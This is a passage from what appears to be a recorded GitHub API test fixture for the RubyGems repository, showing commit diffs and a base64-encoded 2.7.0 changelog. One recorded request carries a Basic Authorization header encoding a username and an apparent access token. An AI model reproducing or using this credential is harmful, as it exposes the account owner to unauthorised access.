30a46793ee04a68ce320a3fb15d3a26bd15c","patch":"@@ -1,6 +1,6 @@\n # coding: UTF-8\n \n-=== 2.7.0\n+=== 2.7.0 (2017-11-02)\n \n Major enhancements:\n "},{"sha":"d32df84be1dc3e98eceb48425ab63715aa2e59d7","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.6.14\"\n+ VERSION = \"2.7.0\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:00 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/141073c772407c4f961aa7160c88ea58caf1f847 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:00 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4465' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"db85e6c175b2e5bbd44bbac7fc65f04b" Last-Modified: - Wed, 01 Nov 2017 01:45:13 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.056741' X-Github-Request-Id: - C55C:4D97:90370E:1C4760A:5A50E470 body: encoding: ASCII-8BIT string: !binary |- eyJzaGEiOiIxNDEwNzNjNzcyNDA3YzRmOTYxYWE3MTYwYzg4ZWE1OGNhZjFmODQ3IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTExLTAxVDAxOjQ1OjEzWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMS0wMVQwMTo0NToxM1oifSwibWVzc2FnZSI6IkF1dG8gbWVyZ2Ugb2YgIzIwNDkgLSBoc2J0OnByZXBhcmUtdG8tcmVsZWFzZS1ydWJ5Z2VtczI3LCByPWhzYnRcblxuR2VuZXJhdGUgYW5kIGNhdGVnb3JpemUgY2hhbmdlbG9nIGl0ZW1zIGZvciBSRyAyLjcuMCByZWxlYXNlcy5cblxuQHNlZ2lkZGlucyBJIGNyZWF0ZSBhbmQgY2F0ZWdvcml6ZWQgcHVsbCByZXF1ZXN0cyB1c2VkIGJ5IGB1dGlsL3VwZGF0ZV9jaGFuZ2Vsb2cucmJgLlxuXG4vY2MgQHRlbmRlcmxvdmUiLCJ0cmVlIjp7InNoYSI6ImJlNjcyMzQwY2ZlZjliNWI1YTY0OWMxN2ViOTI0YmIxMTM0ODJiZDYiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9iZTY3MjM0MGNmZWY5YjViNWE2NDljMTdlYjkyNGJiMTEzNDgyYmQ2In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvMTQxMDczYzc3MjQwN2M0Zjk2MWFhNzE2MGM4OGVhNThjYWYxZjg0NyIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8xNDEwNzNjNzcyNDA3YzRmOTYxYWE3MTYwYzg4ZWE1OGNhZjFmODQ3IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzE0MTA3M2M3NzI0MDdjNGY5NjFhYTcxNjBjODhlYTU4Y2FmMWY4NDciLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMTQxMDczYzc3MjQwN2M0Zjk2MWFhNzE2MGM4OGVhNThjYWYxZjg0Ny9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImRkZGUzNjUzYmMwYWE5NTkyZTc3MDRjZTI2NDY5ZWRiMzE2NjBlYzkiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGRkZTM2NTNiYzBhYTk1OTJlNzcwNGNlMjY0NjllZGIzMTY2MGVjOSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kZGRlMzY1M2JjMGFhOTU5MmU3NzA0Y2UyNjQ2OWVkYjMxNjYwZWM5In0seyJzaGEiOiJhMGE4ZGJmNmJjOGJkOGFmYjI0YmMyMDYwMjY0Y2QzZjE4ZWJiYzQwIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2EwYThkYmY2YmM4YmQ4YWZiMjRiYzIwNjAyNjRjZDNmMThlYmJjNDAiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYTBhOGRiZjZiYzhiZDhhZmIyNGJjMjA2MDI2NGNkM2YxOGViYmM0MCJ9XSwic3RhdHMiOnsidG90YWwiOjE2NCwiYWRkaXRpb25zIjoxNjQsImRlbGV0aW9ucyI6MH0sImZpbGVzIjpbeyJzaGEiOiJjNjMyYzMwZWE5Yjc4NjRkYzk1ZWYyZjYwNDYzMGViZjQxMGNmZGU5IiwiZmlsZW5hbWUiOiJIaXN0b3J5LnR4dCIsInN0YXR1cyI6Im1vZGlmaWVkIiwiYWRkaXRpb25zIjoxNjQsImRlbGV0aW9ucyI6MCwiY2hhbmdlcyI6MTY0LCJibG9iX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iLzE0MTA3M2M3NzI0MDdjNGY5NjFhYTcxNjBjODhlYTU4Y2FmMWY4NDcvSGlzdG9yeS50eHQiLCJyYXdfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3Jhdy8xNDEwNzNjNzcyNDA3YzRmOTYxYWE3MTYwYzg4ZWE1OGNhZjFmODQ3L0hpc3RvcnkudHh0IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy9IaXN0b3J5LnR4dD9yZWY9MTQxMDczYzc3MjQwN2M0Zjk2MWFhNzE2MGM4OGVhNThjYWYxZjg0NyIsInBhdGNoIjoiQEAgLTEsNSArMSwxNjkgQEBcbiAjIGNvZGluZzogVVRGLThcbiBcbis9PT0gMi43LjBcbitcbitNYWpvciBlbmhhbmNlbWVudHM6XG4rXG4rKiBVcGRhdGUgdmVuZG9yZWQgYnVuZGxlci0xLjE2LjAuIFB1bGwgcmVxdWVzdCAjMjA1MSBieSBTYW11ZWwgR2lkZGlucy5cbisqIFVzZSBCdW5kbGVyIGZvciBHZW0udXNlX2dlbWRlcHMuIFB1bGwgcmVxdWVzdCAjMTY3NCBieSBTYW11ZWwgR2lkZGlucy5cbisqIEFkZCBjb21tYW5kIGBzaWduaW5gIHRvIGBnZW1gIENMSS4gUHVsbCByZXF1ZXN0ICMxOTQ0IGJ5IFNoaXZhIEJodXNhbC5cbisqIEFkZCBMb2dvdXQgZmVhdHVyZSB0byBDTEkuIFB1bGwgcmVxdWVzdCAjMTkzOCBieSBTaGl2YSBCaHVzYWwuXG4rXG4rTWlub3IgZW5oYW5jZW1lbnRzOlxuK1xuKyogQWRkZWQgbWVzc2FnZSB0byB1bmluc3RhbGwgY29tbWFuZCBmb3IgZ2VtIHRoYXQgaXMgbm90IGluc3RhbGxlZC4gUHVsbFxuKyAgcmVxdWVzdCAjMTk3OSBieSBhbmFudCBhbmlsIGtvbHZhbmthci5cbisqIEFkZCAtLXRydXN0LXBvbGljeSBvcHRpb24gdG8gdW5wYWNrIGNvbW1hbmQuIFB1bGwgcmVxdWVzdCAjMTcxOCBieVxuKyAgTm9idXlvc2hpIE5ha2FkYS5cbisqIFNob3cgZGVmYXVsdCBnZW1zIGZvciBhbGwgcGxhdGZvcm1zLiBQdWxsIHJlcXVlc3QgIzE2ODUgYnkgS29uc3RhbnRpblxuKyAgU2hhYmFub3YuXG4rKiBBZGQgVHJhdmlzIGFuZCBBcHB2ZXlvciBidWlsZCBzdGF0dXMgdG8gUkVBRE1FLiBQdWxsIHJlcXVlc3QgIzE5MTggYnlcbisgIEp1biBBcnVnYS5cbisqIFJlbW92ZSB3YXJuaW5nIGBubyBlbWFpbCBzcGVjaWZpZWRgIHdoZW4gbm8gZW1haWwuIFB1bGwgcmVxdWVzdCAjMTY3NSBieVxuKyAgTGVpZ2ggTWNDdWxsb2NoLlxuKyogSW1wcm92ZSAtcnVieWdlbXMgcGVyZm9ybWFuY2UuIFB1bGwgcmVxdWVzdCAjMTgwMSBieSBTYW11ZWwgR2lkZGlucy5cbisqIEltcHJvdmUgdGhlIHBlcmZvcm1hbmNlIG9mIEtlcm5lbCNyZXF1aXJlLiBQdWxsIHJlcXVlc3QgIzE2NzggYnkgU2FtdWVsXG4rICBHaWRkaW5zLlxuKyogSW1wcm92ZSB1c2VyLWZhY2luZyBtZXNzYWdlcyBieSBjb25zaXN0ZW50IGNhc2luZyBvZiBSdWJ5L1J1YnlHZW1zLiBQdWxsXG4rICByZXF1ZXN0ICMxNzcxIGJ5IEpvaG4gTGFib3ZpdHouXG4rKiBJbXByb3ZlIGVycm9yIG1lc3NhZ2Ugd2hlbiBHZW06OlJ1bnRpbWVSZXF1aXJlbWVudE5vdE1ldEVycm9yIGlzIHJhaXNlZC5cbisgIFB1bGwgcmVxdWVzdCAjMTc4OSBieSBMdWlzIFNhZ2FzdHVtZS5cbisqIENvZGUgSW1wcm92ZW1lbnQ6IEluaGVyaXRhbmNlIGNvcnJlY3RlZC4gUHVsbCByZXF1ZXN0ICMxOTQyIGJ5IFNoaXZhXG4rICBCaHVzYWwuXG4rKiBbU291cmNlXSBBdXRvbG9hZCBmaWxldXRpbHMuIFB1bGwgcmVxdWVzdCAjMTkwNiBieSBTYW11ZWwgR2lkZGlucy5cbisqIFVzZSBIYXNoI2ZldGNoIGluc3RlYWQgb2YgaWYvZWxzZSBpbiBHZW06OkNvbmZpZ0ZpbGUuIFB1bGwgcmVxdWVzdCAjMTgyNFxuKyAgYnkgRGFuaWVsIEJlcmdlci5cbisqIFJlcXVpcmUgZGlnZXN0IHdoZW4gaXQgaXMgdXNlZC4gUHVsbCByZXF1ZXN0ICMyMDA2IGJ5IFNhbXVlbCBHaWRkaW5zLlxuKyogRG8gbm90IGluZGV4IHRoZSBkb2MgZm9sZGVyIGluIHRoZSBgdXBkYXRlX21hbmlmZXN0YCB0YXNrLiBQdWxsIHJlcXVlc3RcbisgICMyMDMxIGJ5IENvbGJ5IFN3YW5kYWxlLlxuKyogRG9uJ3QgdXNlIHR3byBwb3N0Zml4IGNvbmRpdGlvbmFscyBvbiBvbmUgbGluZS4gUHVsbCByZXF1ZXN0ICMyMDM4IGJ5XG4rICBFbGxlbiBNYXJpZSBEYXNoLlxuKyogW1NhZmVZQU1MXSBBdm9pZCB3YXJuaW5nIHdoZW4gR2VtOjpEZXByZWNhdGUuc2tpcCBpcyBzZXQuIFB1bGwgcmVxdWVzdFxuKyAgIzIwMzQgYnkgU2FtdWVsIEdpZGRpbnMuXG4rKiBVcGRhdGUgZ2VtIHlhbmsgZGVzY3JpcHRpb24uIFB1bGwgcmVxdWVzdCAjMjAwOSBieSBEYXZpZCBSYWRjbGlmZmUuXG4rKiBGaXggZm9ybWF0dGluZyBvZiBpbnN0YWxsYXRpb24gaW5zdHJ1Y3Rpb25zIGluIFJFQURNRS4gUHVsbCByZXF1ZXN0XG4rICAjMjAxOCBieSBKb3JkYW4gRGFuZm9yZC5cbisqIERvIG5vdCB1c2UgI3F1aWNrX3NwZWMgaW50ZXJuYWxseS4gUHVsbCByZXF1ZXN0ICMxNzMzIGJ5IEpvbiBNb3NzLlxuKyogU3dpdGNoIGZyb20gZG9jcyB0byBndWlkZXMgcmVmZXJlbmNlLiBQdWxsIHJlcXVlc3QgIzE4ODYgYnkgSm9uYXRoYW5cbisgIENsYXVkaXVzLlxuKyogSGFwcGllciBtZXNzYWdlIHdoZW4gbGF0ZXN0IHZlcnNpb24gaXMgYWxyZWFkeSBpbnN0YWxsZWQuIFB1bGwgcmVxdWVzdFxuKyAgIzE5NTYgYnkgSmFyZWQgQmVjay5cbisqIFVwZGF0ZSBzcGVjaWZpY2F0aW9uIHJlZmVyZW5jZSBkb2NzLiBQdWxsIHJlcXVlc3QgIzE5NjAgYnkgR3JleSBCYWtlci5cbisqIEFsbG93IEdlbS5maW5pc2hfcmVzb2x2ZSB0byByZXNwZWN0IGFscmVhZHktYWN0aXZhdGVkIHNwZWNzLiBQdWxsXG4rICByZXF1ZXN0ICMxOTEwIGJ5IFNhbXVlbCBHaWRkaW5zLlxuKyogVXBkYXRlIGNyeXB0b2dyYXBoeSBmb3IgR2VtOjpTZWN1cml0eS4gUHVsbCByZXF1ZXN0ICMxNjkxIGJ5IFN5bHZhaW5cbisgIERhdWJlcnQuXG4rKiBEb24ndCBvdXRwdXQgbWttZi5sb2cgbWVzc2FnZSBpZiBjb21waWxhdGlvbiBkaWRuJ3QgZmFpbC4gUHVsbCByZXF1ZXN0XG4rICAjMTgwOCBieSBKZXJlbXkgRXZhbnMuXG4rKiBNYXRjaGVzX2Zvcl9nbG9iIC0gcmVtb3ZlIHJvb3QgcGF0aC4gUHVsbCByZXF1ZXN0ICMyMDEwIGJ5IGFob3Jlay5cbisqIEdlbTo6UmVzb2x2ZXIjc2VhcmNoX2ZvciB1cGRhdGUgZm9yIHJlbGlhYmxlIHNlYXJjaGluZy9zb3J0aW5nLiBQdWxsXG4rICByZXF1ZXN0ICMxOTkzIGJ5IE1TUC1HcmVnLlxuKyogQWxsb3cgbG9jYWwgaW5zdGFsbHMgd2l0aCB0cmFuc2l0aXZlIHByZXJlbGVhc2UgcmVxdWlyZW1lbnRzLiBQdWxsXG4rICByZXF1ZXN0ICMxOTkwIGJ5IFNhbXVlbCBHaWRkaW5zLlxuKyogU21hbGwgc3R5bGUgZml4ZXMgdG8gSW5zdGFsbGVyIFNldC4gUHVsbCByZXF1ZXN0ICMxOTg1IGJ5IEFydGh1clxuKyAgTWFyemlua292c2tpeS5cbisqIFNldHVwIGNtZDogQXZvaWQgdGVybWluYXRpbmcgb3B0aW9uIHN0cmluZyB3LyBkb3QuIFB1bGwgcmVxdWVzdCAjMTgyNSBieVxuKyAgT2xsZSBKb25zc29uLlxuKyogV2FybiB3aGVuIG5vIGZpbGVzIGFyZSBzZXQuIFB1bGwgcmVxdWVzdCAjMTc3MyBieSBBaWRhbiBDb3lsZS5cbisqIEVuc3VyZSBgdG9fc3BlY2AgZmFsbHMgYmFjayBvbiBwcmVyZWxlYXNlIHNwZWNzLiBQdWxsIHJlcXVlc3QgIzE3NTUgYnlcbisgIEFuZHLDqSBBcmtvLlxuKyogW1NwZWNpZmljYXRpb25dIEV2YWwgc2V0dGluZyBkZWZhdWx0IGF0dHJpYnV0ZXMgaW4gI2luaXRpYWxpemUuIFB1bGxcbisgIHJlcXVlc3QgIzE3MzkgYnkgU2FtdWVsIEdpZGRpbnMuXG4rKiBTb3J0IG9yZGVyaW5nIG9mIHNvdXJjZXMgaXMgcHJlc2VydmVkLiBQdWxsIHJlcXVlc3QgIzE2MzMgYnkgTmF0aGFuXG4rICBMYWRkLlxuKyogUmV0cnkgd2l0aCA6cHJlcmVsZWFzZSB3aGVuIG5vIHN1Z2dlc3Rpb25zIGFyZSBmb3VuZC4gUHVsbCByZXF1ZXN0ICMxNjk2XG4rICBieSBBZGl0eWEgUHJha2FzaC5cbisqIFtSYWtlZmlsZV0gUnVuIGBnaXQgc3VibW9kdWxlIHVwZGF0ZSAtLWluaXRgIGluIGByYWtlIG5ld2JgLiBQdWxsXG4rICByZXF1ZXN0ICMxNjk0IGJ5IFNhbXVlbCBHaWRkaW5zLlxuKyogW1Rlc3RDYXNlXSBBZGRyZXNzIGNvbW1lbnRzIGFyb3VuZCB1aSBjaGFuZ2VzLiBQdWxsIHJlcXVlc3QgIzE2NzcgYnlcbisgIFNhbXVlbCBHaWRkaW5zLlxuKyogRWFnZXJseSByZXNvbHZlIGluIGFjdGl2YXRlX2Jpbl9wYXRoLiBQdWxsIHJlcXVlc3QgIzE2NjYgYnkgU2FtdWVsXG4rICBHaWRkaW5zLlxuKyogW1ZlcnNpb25dIE1ha2UgaGFzaCBiYXNlZCB1cG9uIGNhbm9uaWNhbCBzZWdtZW50cy4gUHVsbCByZXF1ZXN0ICMxNjU5IGJ5XG4rICBTYW11ZWwgR2lkZGlucy5cbitcbitDb21wYXRpYmlsaXR5IGNoYW5nZXM6XG4rXG4rKiBVc2UgYC1ycnVieWdlbXNgIGluc3RlYWQgb2YgYC1ydWJ5Z2Vtcy5yYmAuIEJlY2F1c2UgdWJ5Z2Vtcy5yYiBpc1xuKyAgdW5hdmFpbGFibGUgb24gUnVieSAyLjUuIFB1bGwgcmVxdWVzdCAjMjAyOCAjMjAyNyAjMjAyOVxuKyAgYnkgU0hJQkFUQSBIaXJvc2hpLlxuKyogRGVwcmVjYXRlIEdlbTo6SW5zdGFsbGVyVGVzdENhc2UjdXRpbF9nZW1fYmluZGlyIGFuZFxuKyAgR2VtOjpJbnN0YWxsZXJUZXN0Q2FzZSN1dGlsX2dlbV9kaXIuIFB1bGwgcmVxdWVzdCAjMTcyOSBieSBKb24gTW9zcy5cbisqIERlcHJlY2F0ZSBwYXNzaW5nIG9wdGlvbnMgdG8gR2VtOjpHZW1SdW5uZXIuIFB1bGwgcmVxdWVzdCAjMTczMCBieSBKb25cbisgIE1vc3MuXG4rKiBBZGQgZGVwcmVjYXRpb24gZm9yIEdlbSNkYXRhZGlyLiBQdWxsIHJlcXVlc3QgIzE3MzIgYnkgSm9uIE1vc3MuXG4rKiBBZGQgZGVwcmVjYXRpb24gd2FybmluZyBmb3IgR2VtOjpEZXBlbmRlbmN5SW5zdGFsbGVyI2dlbXNfdG9faW5zdGFsbC5cbisgIFB1bGwgcmVxdWVzdCAjMTczMSBieSBKb24gTW9zcy5cbisqIFVwZGF0ZSBDb2RlIG9mIENvbmR1Y3QgdG8gQ29udHJpYnV0b3IgQ292ZW5hbnQgdjEuNC4wLiBQdWxsIHJlcXVlc3RcbisgICMxNzk2IGJ5IE1hdGVqLlxuKyogQWRkIFJ1YnkgVG9nZXRoZXIgQ1RBLCByZWFycmFuZ2UgUkVBRE1FIGEgYml0LiBQdWxsIHJlcXVlc3QgIzE3NzUgYnlcbisgIE1pY2hhZWwgQmVybnN0ZWluLlxuKyogVXBkYXRlIENvbnRyaWJ1dGluZy5yZG9jIHdpdGggbmV3IGxhYmVsIHVzYWdlLiBQdWxsIHJlcXVlc3QgIzE3MTYgYnlcbisgIEx5bm4gQ3lyaW4uXG4rKiBBZGQgLS1ob3N0IHNhbXBsZSB0byBoZWxwLiBQdWxsIHJlcXVlc3QgIzE3MDkgYnkgQ29kZSBBaHNzLlxuKyogQWRkIGEgaGVscGZ1bCBzdWdnZXN0aW9uIHdoZW4gYGdlbSBpbnN0YWxsYCBmYWlscyBkdWUgdG8gcmVxdWlyZWRfcnVi4oCmLlxuKyAgUHVsbCByZXF1ZXN0ICMxNjk3IGJ5IFNhbXVlbCBHaWRkaW5zLlxuKyogQWRkIGNlcnQgZXhwaXJhdGlvbiBsZW5ndGggZmxhZy4gUHVsbCByZXF1ZXN0ICMxNzI1IGJ5IEx1aXMgU2FnYXN0dW1lLlxuKyogQWRkIHN1Ym1vZHVsZSBpbnN0cnVjdGlvbnMgdG8gbWFudWFsIGluc3RhbGwuIFB1bGwgcmVxdWVzdCAjMTcyNyBieVxuKyAgSm9zZXBoIEZyYXppZXIuXG4rKiBBbGxvdyB1c2FnZSBvZiBtdWx0aXBsZSBgLS12ZXJzaW9uYCBvcGVyYXRvcnMuIFB1bGwgcmVxdWVzdCAjMTU0NiBieVxuKyAgSmFtZXMgV2VuLlxuKyogV2FybiB3aGVuIHJlcXVpcmluZyBkZXByZWNhdGVkIGZpbGVzLiBQdWxsIHJlcXVlc3QgIzE5MzkgYnkgRWxsZW4gTWFyaWVcbisgIERhc2guXG4rXG4rQnVnIGZpeGVzOlxuK1xuKyogRml4IGlzc3VlIGZvciBNaW5HVyAvIE1TWVMyIGJ1aWxkcyBhbmQgdGVzdGluZy4gUHVsbCByZXF1ZXN0ICMxODc2IGJ5XG4rICBNU1AtR3JlZy5cbisqIEZpeGVkIGJyb2tlbiBsaW5rcyBhbmQgb3ZlcnplYWxvdXMgVVJMIGVuY29kaW5nIGluIGdlbSBzZXJ2ZXIuIFB1bGxcbisgIHJlcXVlc3QgIzE4MDkgYnkgTmljb2xlIE9yY2hhcmQuXG4rKiBGaXggYSB0eXBvLiBQdWxsIHJlcXVlc3QgIzE3MjIgYnkgS29pY2hpIElUTy5cbisqIEZpeCBlcnJvciBtZXNzYWdlIEdlbTo6U2VjdXJpdHk6OlBvbGljeS4gUHVsbCByZXF1ZXN0ICMxNzI0IGJ5IE5vYnV5b3NoaVxuKyAgTmFrYWRhLlxuKyogRml4aW5nIGxpbmtzIG1hcmtkb3duIGZvcm1hdHRpbmcgaW4gUkVBRE1FLiBQdWxsIHJlcXVlc3QgIzE3OTEgYnkgUGlvdHJcbisgIEt1Y3p5bnNraS5cbisqIEZpeCBmYWlsaW5nIEJ1bmRsZXIgMS44LjcgQ0kgYnVpbGRzLiBQdWxsIHJlcXVlc3QgIzE4MjAgYnkgU2FtdWVsXG4rICBHaWRkaW5zLlxuKyogRml4ZWQgdGVzdCBicm9rZW4gb24gcnVieS1oZWFkIC4gUHVsbCByZXF1ZXN0ICMxODQyIGJ5IFNISUJBVEEgSGlyb3NoaS5cbisqIEZpeCB0eXBvcyB3aXRoIG1pc3NwZWxsLiBQdWxsIHJlcXVlc3QgIzE4NDYgYnkgU0hJQkFUQSBIaXJvc2hpLlxuKyogRml4IGdlbSBvcGVuIHRvIG9wZW4gaGlnaGVzdCB2ZXJzaW9uIG51bWJlciByYXRoZXIgdGhhbiBsb3dlc3QuIFB1bGxcbisgIHJlcXVlc3QgIzE4NzcgYnkgVGltIFBvcGUuXG4rKiBGaXggdGVzdF9zZWxmX2ZpbmRfZmlsZXNfd2l0aF9nZW1maWxlIHRvIHNvcnQgZXhwZWN0ZWQgZmlsZXMuIFB1bGxcbisgIHJlcXVlc3QgIzE4NzggYnkgS2F6dWFraSBNYXRzdW8uXG4rKiBGaXggdHlwb3MgaW4gQ09OVFJJQlVUSU5HLnJkb2MuIFB1bGwgcmVxdWVzdCAjMTkwOSBieSBNYXJrIFNheXNvbi5cbisqIEZpeCBzb21lIHNtYWxsIGRvY3VtZW50YXRpb24gaXNzdWVzIGluIGluc3RhbGxlci4gUHVsbCByZXF1ZXN0ICMxOTcyIGJ5XG4rICBDb2xieSBTd2FuZ